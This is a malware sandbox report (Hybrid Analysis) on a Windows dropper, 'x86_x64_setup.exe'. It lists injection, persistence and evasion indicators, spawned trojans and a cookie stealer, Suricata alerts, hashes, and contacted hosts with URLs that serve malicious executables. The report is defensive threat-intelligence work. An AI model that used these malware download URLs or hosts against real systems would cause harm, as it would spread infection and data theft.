Attention: please enable javascript in order to properly view and use this malware analysis service.
malicious
Threat Score: 100/100 AV Detection: 63% Labeled as: Jaik.Generic #evasive Link E-Mail

x86_x64_setup.exe

This report is generated from a file or URL submitted to this webservice on June 22nd 2021 06:10:04 (UTC)
Guest System: Windows 7 64 bit, Professional, 6.1 (build 7601), Service Pack 1
Falcon Sandbox v8.48.8 © Hybrid Analysis

Incident Response

Risk Assessment

Remote Access
Reads terminal service related keys (often RDP related)
Spyware
Hooks API calls
POSTs files to a webserver
Persistence
Injects into remote processes
Modifies System Certificates Settings
Modifies auto-execute functionality by setting/creating a value in the registry
Spawns a lot of processes
Writes data to a remote process
Fingerprint
Queries firmware table information (may be used to fingerprint/evade)
Queries kernel debugger information
Queries process information
Queries sensitive IE security settings
Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
Reads the active computer name
Reads the cryptographic machine GUID
Reads the system/video BIOS version
Reads the windows installation date
Tries to identify its external IP address
Evasive
Checks network status using ping
Marks file for deletion
Possibly tries to evade analysis by sleeping many times
Tries to sleep for a long time (more than two minutes)
Spreading
Opens the MountPointManager (often used to detect additional infection locations)
Network Behavior
Contacts 19 domains and 23 hosts. View all details

MITRE ATT&CK™ Techniques Detection

This report has 45 indicators that were mapped to 30 attack techniques and 8 tactics. View all details

Additional Context

Related Sandbox Artifacts

Associated SHA256s
2cecad09a084ea8e35878a6171ffa8672d05daa0e5c5faa8221c24af564ea5ed

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

  • Malicious Indicators 26

  • Anti-Detection/Stealthyness
  • Environment Awareness
  • External Systems
    • Detected Suricata Alert
      details
      Detected alert "ET INFO Executable Download from dotted-quad Host" (SID: 2016141, Rev: 6, Severity: 1) categorized as "A Network Trojan was detected"
      Detected alert "ETPRO POLICY IP Check Domain (iplogger .org in DNS Lookup)" (SID: 2828705, Rev: 3, Severity: 1) categorized as "Potential Corporate Privacy Violation"
      Detected alert "ETPRO POLICY IP Check Domain (iplogger .org in TLS SNI)" (SID: 2828706, Rev: 3, Severity: 1) categorized as "Potential Corporate Privacy Violation"
      Detected alert "ETPRO MALWARE Win32/Agent.UAW CnC Activity" (SID: 2841974, Rev: 2, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware)
      source
      Suricata Alerts
      relevance
      10/10
    • Sample was identified as malicious by a large number of Antivirus engines
      details
      48/69 Antivirus vendors marked sample as malicious (69% detection rate)
      source
      External System
      relevance
      10/10
    • Sample was identified as malicious by at least one Antivirus engine
      details
      48/69 Antivirus vendors marked sample as malicious (69% detection rate)
      source
      External System
      relevance
      8/10
  • General
    • The analysis extracted a file that was identified as malicious
      details
      45/68 Antivirus vendors marked dropped file "metina_6.exe" as malicious (classified as "Gen:Variant.Ser.Zusy" with 66% detection rate)
      36/69 Antivirus vendors marked dropped file "askinstall47.exe" as malicious (classified as "Gen:Variant.Zusy" with 52% detection rate)
      4/67 Antivirus vendors marked dropped file "libcurl.dll" as malicious (classified as "Dropper.Pswtool" with 5% detection rate)
      29/70 Antivirus vendors marked dropped file "file1_1_.exe" as malicious (classified as "Malware.Generic" with 41% detection rate)
      42/68 Antivirus vendors marked dropped file "metina_1.exe" as malicious (classified as "Trojan.Kryplod" with 61% detection rate)
      1/69 Antivirus vendors marked dropped file "data_load.exe" as malicious (classified as "Malware.Generic" with 1% detection rate)
      57/69 Antivirus vendors marked dropped file "metina_4.exe" as malicious (classified as "Trojan.CookiesStealer" with 82% detection rate)
      26/69 Antivirus vendors marked dropped file "metina_8.exe" as malicious (classified as "FileRepMetagen [Malware]" with 37% detection rate)
      44/68 Antivirus vendors marked dropped file "metina_7.exe" as malicious (classified as "Trojan.Injector" with 64% detection rate)
      source
      Binary File
      relevance
      10/10
    • The analysis spawned a process that was identified as malicious
      details
      37/68 Antivirus vendors marked spawned process "setup_installer.exe" (PID: 1624) as malicious (classified as "Gen:Variant.Jaik" with 54% detection rate)
      44/69 Antivirus vendors marked spawned process "setup_install.exe" (PID: 2276) as malicious (classified as "Gen:Variant.Graftor" with 63% detection rate)
      42/68 Antivirus vendors marked spawned process "metina_1.exe" (PID: 2932) as malicious (classified as "Trojan.Kryplod" with 61% detection rate)
      47/68 Antivirus vendors marked spawned process "metina_3.exe" (PID: 3076) as malicious (classified as "Trojan.Generic" with 69% detection rate)
      25/69 Antivirus vendors marked spawned process "metina_2.exe" (PID: 3584) as malicious (classified as "FileRepMetagen [Malware]" with 36% detection rate)
      45/68 Antivirus vendors marked spawned process "metina_6.exe" (PID: 3052) as malicious (classified as "Gen:Variant.Ser.Zusy" with 66% detection rate)
      44/68 Antivirus vendors marked spawned process "metina_7.exe" (PID: 1340) as malicious (classified as "Trojan.Injector" with 64% detection rate)
      57/69 Antivirus vendors marked spawned process "metina_4.exe" (PID: 1020) as malicious (classified as "Trojan.CookiesStealer" with 82% detection rate)
      26/69 Antivirus vendors marked spawned process "metina_8.exe" (PID: 2940) as malicious (classified as "FileRepMetagen [Malware]" with 37% detection rate)
      42/70 Antivirus vendors marked spawned process "metina_5.exe" (PID: 3536) as malicious (classified as "Trojan.Generic" with 60% detection rate)
      25/68 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 1924) as malicious (classified as "Trojan.Generic" with 36% detection rate)
      55/69 Antivirus vendors marked spawned process "Crack.exe" (PID: 1592) as malicious (classified as "Trojan.Injector" with 79% detection rate)
      33/70 Antivirus vendors marked spawned process "Xb9xd_yttFVCizq3PHdyxQy4.exe" (PID: 3956) as malicious (classified as "W32.Malware" with 47% detection rate)
      29/69 Antivirus vendors marked spawned process "3DzimCCHok4QI3oge55SJ4Fn.exe" (PID: 3240) as malicious (classified as "Trojan.Generic" with 42% detection rate)
      29/70 Antivirus vendors marked spawned process "czWUtBVE69_cm6INR5XzSTTE.exe" (PID: 2232) as malicious (classified as "Malware.Generic" with 41% detection rate)
      36/69 Antivirus vendors marked spawned process "askinstall47.exe" (PID: 1180) as malicious (classified as "Gen:Variant.Zusy" with 52% detection rate)
      43/67 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 2796) as malicious (classified as "Trojan.Generic" with 64% detection rate)
      26/70 Antivirus vendors marked spawned process "_kZTg30m8bpighz8qDy1fPfn.exe" (PID: 3700) as malicious (classified as "FileRepMalware" with 37% detection rate)
      43/69 Antivirus vendors marked spawned process "xgJoOVyufE0cCqwLc5B_RFQB.exe" (PID: 1936) as malicious (classified as "Gen:Variant.Razy" with 62% detection rate)
      49/69 Antivirus vendors marked spawned process "Vx1H68u9crXyhlpiRY1l2dfJ.exe" (PID: 2168) as malicious (classified as "Kryptik.EJB.gen" with 71% detection rate)
      50/70 Antivirus vendors marked spawned process "9u14_lRckupdQYYfw4Hqq_Zl.exe" (PID: 1504) as malicious (classified as "Trojan.Generic" with 71% detection rate)
      43/67 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 2240) as malicious (classified as "Trojan.Generic" with 64% detection rate)
      1/69 Antivirus vendors marked spawned process "data_load.exe" (PID: 2092) as malicious (classified as "Malware.Generic" with 1% detection rate)
      43/67 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 2508) as malicious (classified as "Trojan.Generic" with 64% detection rate)
      1/69 Antivirus vendors marked spawned process "data_load.exe" (PID: 804) as malicious (classified as "Malware.Generic" with 1% detection rate)
      43/67 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 2736) as malicious (classified as "Trojan.Generic" with 64% detection rate)
      43/67 Antivirus vendors marked spawned process "jfiag3g_gg.exe" (PID: 2808) as malicious (classified as "Trojan.Generic" with 64% detection rate)
      source
      Monitored Target
      relevance
      10/10
  • Installation/Persistence
    • Allocates virtual memory in a remote process
      details
      "x86_x64_setup.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"
      "setup_install.exe" allocated memory in "C:\Windows\SysWOW64\cmd.exe"
      "setup_install.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat"
      "metina_6.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs"
      "metina_7.exe" allocated memory in "C:\Windows\SysWOW64\srvcli.dll"
      "metina_7.exe" allocated memory in "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters"
      "metina_4.exe" allocated memory in "\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SQMServiceList"
      "metina_4.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider"
      "metina_4.exe" allocated memory in "%TEMP%\fj4ghga23_fsa.txt"
      "metina_4.exe" allocated memory in "\Device\NetBT_Tcpip_{E63BE247-2D1C-4749-B86C-7B5FABD92F0C}"
      "GRBREeDiF7lFRmCKLoQFhGWs.exe" allocated memory in "\REGISTRY\USER"
      "xgJoOVyufE0cCqwLc5B_RFQB.exe" allocated memory in "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\silentm"
      "rundll32.exe" allocated memory in "C:\Program Files (x86)\xClsyvppag\xClsyvppag.dll"
      source
      API Call
      relevance
      7/10
      ATT&CK ID
      T1055 (Show technique in the MITRE ATT&CK™ matrix)
    • Injects into remote processes
      details
      Injected into "GRBREeDiF7lFRmCKLoQFhGWs.exe" at 2021-6-22.06:15:32.195 (Show Process)
      Injected into "svchost.exe" at 2021-6-22.06:15:44.914 (Show Process)
      source
      Monitored Target
      relevance
      6/10
      ATT&CK ID
      T1055 (Show technique in the MITRE ATT&CK™ matrix)
    • Writes data to a remote process
      details
      "x86_x64_setup.exe" wrote 1500 bytes to a remote process "%TEMP%\setup_installer.exe" (Handle: 656)
      "x86_x64_setup.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\setup_installer.exe" (Handle: 656)
      "x86_x64_setup.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\setup_installer.exe" (Handle: 656)
      "x86_x64_setup.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\setup_installer.exe" (Handle: 656)
      "x86_x64_setup.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\setup_installer.exe" (Handle: 656)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_1.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe" (Handle: 296)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_2.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe" (Handle: 296)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_3.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe" (Handle: 296)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_4.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe" (Handle: 296)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_5.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe" (Handle: 296)
      "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe" (Handle: 296)
      "cmd.exe" wrote 8 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe" (Handle: 296)
      "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe" (Handle: 296)
      "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_6.exe" (Handle: 296)
      "cmd.exe" wrote 1500 bytes to a remote process "C:\Users\%USERNAME%\AppData\Local\Temp\7zS856D3F35\metina_7.exe" (Handle: 304)
      source
      API Call
      relevance
      6/10
      ATT&CK ID
      T1055 (Show technique in the MITRE ATT&CK™ matrix)
  • Network Related
    • Malicious artifacts seen in the context of a contacted host
      details
      Found malicious artifacts related to "89.221.213.3": ...

      URL: http://marsdevelopmentsftwr.com/data/data.7z (AV positives: 1/88 scanned on 06/22/2021 06:01:29)
      URL: https://nicepricingsaleregistration.com/ (AV positives: 5/88 scanned on 06/22/2021 03:10:57)
      URL: http://grantplayerindustries.com/campaign3/SunLabsPlayer.exe (AV positives: 12/88 scanned on 06/21/2021 19:35:42)
      URL: http://marsdevelopmentsftwr.com/data (AV positives: 1/88 scanned on 06/21/2021 05:04:39)
      URL: http://nicepricingsaleregistration.com/campaign1 (AV positives: 7/88 scanned on 06/20/2021 11:36:25)
      File SHA256: 1fe5d0e7186162f8ea04f317ada64656c9bdd3b542ac710dd149c0aa8921ea19 (Date: 06/22/2021 04:25:40)
      File SHA256: e0ca33f426699ec60e41c81e2ab325e718dab5d7e6fe5eaf7936c7d8b3c8bed6 (Date: 06/22/2021 04:23:46)
      File SHA256: 95fbc1405c8ac4c3cbbb979f53f5485f3f8b1cde1ce00ea454055749917536d2 (Date: 06/22/2021 04:21:43)
      File SHA256: 00b1a55b7d91830736749fdb8f25b4267d2f7de97c68eef4e1b5fdd05bc96718 (AV positives: 12/75 scanned on 06/21/2021 19:27:05)
      File SHA256: a8cc84221ebc86af61429619e4bdade2137cda40174a9f2c98bc5650936171d8 (Date: 06/21/2021 21:10:21)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: 23b4c9249cd030a7e5cda6c79e608455b981e6f4582691b1e2a8820a4bce7d98 (AV positives: 9/74 scanned on 06/19/2021 19:26:08)
      File SHA256: fedaa68fdaebf338f2e8c8d1fbf22b4b43752712e0a9847a6a5052cbcc6897f2 (AV positives: 9/75 scanned on 06/18/2021 22:55:45)
      File SHA256: 85effdbe412b05165466378640259c282070f40efdca3e92721e1e71f89c2464 (AV positives: 25/75 scanned on 06/17/2021 10:05:36)
      File SHA256: 0561625b19933aae8c98b8c711260494e656cec920d9bcc795af0e10f24563e2 (AV positives: 31/74 scanned on 06/17/2021 09:10:30)
      Found malicious artifacts related to "136.144.41.133": ...

      URL: http://136.144.41.133/US/f (AV positives: 12/88 scanned on 06/22/2021 06:07:08)
      URL: http://136.144.41.133/ww/file2.exe (AV positives: 13/88 scanned on 06/21/2021 23:36:36)
      URL: http://136.144.41.133/EU/ (AV positives: 11/88 scanned on 06/21/2021 20:29:51)
      URL: http://136.144.41.133/ww/app.exe (AV positives: 12/88 scanned on 06/21/2021 19:46:25)
      URL: http://136.144.41.133/EU/UnpackChromeEU.exe (AV positives: 14/88 scanned on 06/21/2021 19:27:13)
      File SHA256: e0ca33f426699ec60e41c81e2ab325e718dab5d7e6fe5eaf7936c7d8b3c8bed6 (Date: 06/22/2021 04:23:46)
      File SHA256: 95fbc1405c8ac4c3cbbb979f53f5485f3f8b1cde1ce00ea454055749917536d2 (Date: 06/22/2021 04:21:43)
      File SHA256: a8cc84221ebc86af61429619e4bdade2137cda40174a9f2c98bc5650936171d8 (Date: 06/21/2021 21:10:21)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: d09cb69744c809f1e48fda7e9ab5623852a42fc6f2cf79547ecc3329871e84ca (Date: 06/21/2021 09:11:22)
      File SHA256: 14bb337bfab1686103f252a2d7079863980237f1679164c3b519caadd3cca27a (AV positives: 27/74 scanned on 06/20/2021 13:36:53)
      File SHA256: 50575798954fd5dff1f376d1597a3d0ff52f51789c5ae98b48957590b540bcce (AV positives: 29/74 scanned on 06/20/2021 00:44:32)
      File SHA256: b0bf944eb3f2f6706a87e98b89a862ac20501beda28e8805116190f51bb56133 (AV positives: 42/75 scanned on 06/19/2021 22:24:10)
      File SHA256: 0e2bcbe99b84383cfa549598d998bddce096daa94e1eb6dfbfa66d3cf12cc1e4 (AV positives: 23/75 scanned on 06/19/2021 21:42:07)
      File SHA256: 314a6b64dd96b4bc58cc6bddcd227ac489cad1e5160edef167bb487589d4b339 (AV positives: 35/74 scanned on 06/19/2021 23:44:46)
      Found malicious artifacts related to "162.159.135.233": ...

      URL: https://cdn.discordapp.com/attachments/855644848027336747/855660073053454366/spoofer_and_cleaner.exe (AV positives: 1/89 scanned on 06/22/2021 05:51:50)
      URL: http://cdn.discordapp.com/attachments/656853899801526292/656861043422920746/ (AV positives: 1/89 scanned on 06/22/2021 05:44:28)
      URL: https://cdn.discordapp.com/attachments/853847270281707520/855576180988182569/0x000x00000.exe (AV positives: 2/89 scanned on 06/22/2021 05:27:58)
      URL: http://cdn.discordapp.com/attachments/851253871912157204/854873639576797184/SN6CTRF8PX1Ed9s.exe (AV positives: 5/89 scanned on 06/22/2021 05:25:25)
      URL: http://cdn.discordapp.com/attachments/849238767964782595/84939479209738 (AV positives: 1/89 scanned on 06/22/2021 05:04:09)
      File SHA256: 3c11211926e4c418192a242e02e6ccec1a3c3538ed511c1a87f9933ba9865b8f (AV positives: 15/74 scanned on 06/22/2021 01:51:02)
      File SHA256: 873fce2159a412f56328b87046109f51ce439e8b993ed456eec792dc5f55ea41 (Date: 06/22/2021 04:46:57)
      File SHA256: 3491c016d9cc0128f95e37a94664b995cdd6c2d53302c396bbf9e40e4046dff4 (AV positives: 9/74 scanned on 06/21/2021 10:17:04)
      File SHA256: 9f634332916b250e0530e1ab2e31d68c2ca390b50008d85962384ebb1679c9ed (AV positives: 1/76 scanned on 06/21/2021 07:30:33)
      File SHA256: 6d18283fe92bd4ccec8ccd4c84bec9eead0176b27df68007ecd06bb61af9244c (AV positives: 22/74 scanned on 06/21/2021 08:11:05)
      File SHA256: 06b5c966cd938761a9822faf61f5a32417132aa87b8dd831f43823c8d6bc2e44 (AV positives: 39/75 scanned on 06/21/2021 13:17:00)
      File SHA256: af20d5a5267e6f070bf5157d863ac83edccee842110f0c6c5d3f58e9cbd73c33 (Date: 06/21/2021 15:38:19)
      File SHA256: b5d0f4062364057a2de433b7b83b4ec21dd3d4880ebcf92ba3c5c75603c01253 (Date: 06/21/2021 15:22:01)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: 799c7a1b3c431d1ed80f02922d4a5dc3bfc8ccc0e6819ea6bc13e4f1cd88ec23 (Date: 06/21/2021 03:33:19)
      Found malicious artifacts related to "172.67.131.176": ...

      URL: http://glycera.info/ (AV positives: 9/88 scanned on 06/22/2021 03:10:57)
      URL: http://poloframe.com/newapi/click (AV positives: 1/88 scanned on 06/22/2021 03:12:09)
      URL: http://enterpriseblockchain.co.uk/bootstrap/js/ (AV positives: 6/88 scanned on 06/21/2021 19:18:28)
      URL: http://glycera.info/app.exe (AV positives: 8/88 scanned on 06/21/2021 16:07:53)
      URL: https://glycera.info/app.exe (AV positives: 7/88 scanned on 06/21/2021 14:30:15)
      File SHA256: e0ca33f426699ec60e41c81e2ab325e718dab5d7e6fe5eaf7936c7d8b3c8bed6 (Date: 06/22/2021 04:23:46)
      File SHA256: a8cc84221ebc86af61429619e4bdade2137cda40174a9f2c98bc5650936171d8 (Date: 06/21/2021 21:10:21)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: d09cb69744c809f1e48fda7e9ab5623852a42fc6f2cf79547ecc3329871e84ca (Date: 06/21/2021 09:11:22)
      File SHA256: 12f7ffd93e0af380b2fe64c1477afcf876ae1449dcc197d71da381873bfbb439 (Date: 06/21/2021 01:29:48)
      File SHA256: 9a0c573f3f5c26b48a0f154d64da6107377bfbeab721b9ddda4605c96234de84 (AV positives: 14/75 scanned on 04/25/2020 13:42:53)
      Found malicious artifacts related to "104.21.65.45": ...

      URL: http://jom.diregame.live/userf/2201/ (AV positives: 11/88 scanned on 06/21/2021 19:29:23)
      URL: http://jom.diregame.live/userf/2202/ (AV positives: 10/88 scanned on 06/21/2021 06:08:50)
      URL: http://jom.diregame.live/userf/2201 (AV positives: 12/88 scanned on 06/20/2021 15:40:18)
      URL: http://jom.diregame.live/ (AV positives: 7/88 scanned on 06/20/2021 11:36:18)
      URL: https://jom.diregame.live:80/userf/2201/google-game.exe (AV positives: 10/88 scanned on 06/19/2021 10:35:49)
      File SHA256: a8cc84221ebc86af61429619e4bdade2137cda40174a9f2c98bc5650936171d8 (Date: 06/21/2021 21:10:21)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: 04edaf18050ca36b59d275205e2ffdf423cf197ff7d18d0a049dd8b5456a9447 (Date: 06/21/2021 03:01:42)
      File SHA256: 12f7ffd93e0af380b2fe64c1477afcf876ae1449dcc197d71da381873bfbb439 (Date: 06/21/2021 01:29:48)
      File SHA256: 15af9d5f5cd3a722cda4b0afc4f928cb165f31be3500d597ccdefefb9636ade7 (Date: 06/20/2021 20:31:22)
      File SHA256: a80b0244c20d19da0bb00d65cd8294900c8cee9b73784873911c6ed00eadc872 (AV positives: 41/74 scanned on 06/13/2021 07:32:49)
      File SHA256: af5426c92298cf73d71a5127342c4579b139702a04c17112c97bbcd9f5e78b4c (AV positives: 43/75 scanned on 06/02/2021 15:36:22)
      File SHA256: 2f158fe98389b164103a1c3aac49e10520dfd332559d64a546b65af7ef00cd5f (AV positives: 42/74 scanned on 05/31/2021 11:30:23)
      File SHA256: 030cba5d93403c75ed1c9156aad112c27045a9bf9b80588329479e6d2cd4e78f (AV positives: 40/75 scanned on 05/25/2021 11:07:48)
      File SHA256: bd35fe49696f3cb5c48b19b4c73b2ec080d31443ee9028f12994e036c028ecc7 (AV positives: 41/75 scanned on 05/23/2021 08:33:51)
      Found malicious artifacts related to "205.185.216.10": ...

      URL: http://www.gagalive.com/ (AV positives: 2/88 scanned on 06/22/2021 05:40:28)
      URL: http://storage.ning.com/topology/rest/1.0/file/get/8122054091/ (AV positives: 3/88 scanned on 06/22/2021 04:43:33)
      URL: http://fasteducation.sgp1.cdn.digitaloceanspaces.com/Content_Browser_VPlayer/ (AV positives: 2/88 scanned on 06/22/2021 03:38:57)
      URL: http://cdn.valuad.cloud/ (AV positives: 1/88 scanned on 06/22/2021 02:21:44)
      URL: http://cdn.flashtalking.com:443/ (AV positives: 1/88 scanned on 06/22/2021 02:13:49)
      File SHA256: ed1bb296441e86890198f063ed7d365047e0f34bfac68c2af83e42fa91a47c63 (Date: 06/22/2021 05:43:06)
      File SHA256: da597bf1a55a4d9e59ea17441cf289de08fa17b081d3506fe053fa4f22c0945d (Date: 06/22/2021 05:42:37)
      File SHA256: 59e56308fdb29d444f6762661d9cd5655d2b793d2416b1290eeaeb618bd01736 (Date: 06/22/2021 05:41:29)
      File SHA256: 89e8929daa99a03eeb9cfcf785bc190b234afc4d9a4d2a908411f6319588bb07 (Date: 06/22/2021 04:37:09)
      File SHA256: 40a4793a6ed28e9517c7ec287ace87c6316d7c04311feb4b1da9293e9af05ca2 (Date: 06/22/2021 04:36:43)
      File SHA256: ca2e97501dd47a1e16eb8b7e2cce8728013493302bb4c56123511a244db4e73b (AV positives: 5/74 scanned on 06/21/2021 22:23:58)
      File SHA256: e23a0ebfc6101bda9f083bd18e2551d771a552f921b055c5266c2b669f9a5708 (AV positives: 9/74 scanned on 06/18/2021 00:41:57)
      File SHA256: 880e4825c181b925586a94c21257c8bd5c30d5e91f331c3b2e5eb89edf93500e (AV positives: 1/74 scanned on 06/11/2021 09:41:45)
      File SHA256: da0d3703ad397b6cb1990b87db90420a73398112dcc4c76ef71991a59fb852f8 (AV positives: 3/74 scanned on 06/08/2021 12:30:50)
      File SHA256: 0a9b9b72c81f0277635585157357014fd7720a5270596a2b5a04115f87b3e094 (AV positives: 3/74 scanned on 06/02/2021 17:07:45)
      Found malicious artifacts related to "198.54.116.159": ...

      URL: http://cor-tips.com/offers/TrueKey.exe (AV positives: 11/88 scanned on 06/22/2021 06:08:43)
      URL: http://cor-tips.com/ (AV positives: 6/88 scanned on 06/22/2021 05:43:04)
      URL: http://cor-tips.com/After_math_Eminem/AdvertiserInstaller/I-Record/I-Record.exe (AV positives: 10/88 scanned on 06/21/2021 19:32:47)
      URL: http://cor-tips.com/After_math_Eminem/AdvertiserInstaller/UltraMediaBurner/UltraMediaBurner.exe (AV positives: 9/88 scanned on 06/21/2021 19:14:23)
      URL: http://megacorplogistics.risevio.com/ (AV positives: 8/88 scanned on 06/21/2021 15:46:43)
      File SHA256: 94976443087d9e201fa7336bbb241742779fb18ae4f3b444a619beef8afd9c83 (Date: 06/22/2021 00:34:43)
      File SHA256: 1160ccd23fd19a43a82b6e61ca36e74994cbaac76430923edc02f39cde7d84e3 (Date: 06/21/2021 23:56:50)
      File SHA256: 7b35ca287987bd12be939678c6817a3c297c208ffd0e87ebf81e5097e5534eb1 (Date: 06/21/2021 10:25:32)
      File SHA256: 297d747fa1fd96d3ee37ded8e617f7ab750f99bc76d1b98ef8824cf52601ddf3 (Date: 06/21/2021 09:08:07)
      File SHA256: 36e260c32a7039dac8fd04ccff9f595072f39f1d665e9c637aad1eb8ad8d1186 (Date: 06/21/2021 01:21:21)
      File SHA256: 00e43e30dbafb85f1369da032f1f6752a30f7deac667cf5c3ed8a36fca4d6fc5 (AV positives: 48/75 scanned on 06/19/2021 19:08:10)
      File SHA256: 427fb58726e2c9632bf9dedb78bc6492d96e2126280aace443d8b7ccd1c93297 (AV positives: 46/75 scanned on 06/18/2021 23:09:39)
      File SHA256: ecc540a094d6ae713b8ddcf52172f0f87f4161b026c36e992aaf2b23dd02ef10 (AV positives: 48/75 scanned on 06/18/2021 16:20:35)
      File SHA256: 0283e1aa9bb9b29313432897675a5cb0f200112934b26a13818088056b43cf60 (AV positives: 45/74 scanned on 06/16/2021 20:14:14)
      File SHA256: 2d28a4e25477d49243d246e3dd7cb8209397ea5fd5244cc2f8ed1988b390f0e2 (AV positives: 4/74 scanned on 06/15/2021 17:39:23)
      Found malicious artifacts related to "88.99.66.31": ...

      URL: https://iplogger.org/favicon.ico (AV positives: 1/88 scanned on 06/22/2021 05:46:50)
      URL: http://iplogger.com/ (AV positives: 2/88 scanned on 06/22/2021 05:44:03)
      URL: http://iplogger.org/ (AV positives: 1/88 scanned on 06/22/2021 05:42:13)
      URL: http://ezstat.ru/ (AV positives: 5/88 scanned on 06/22/2021 05:38:39)
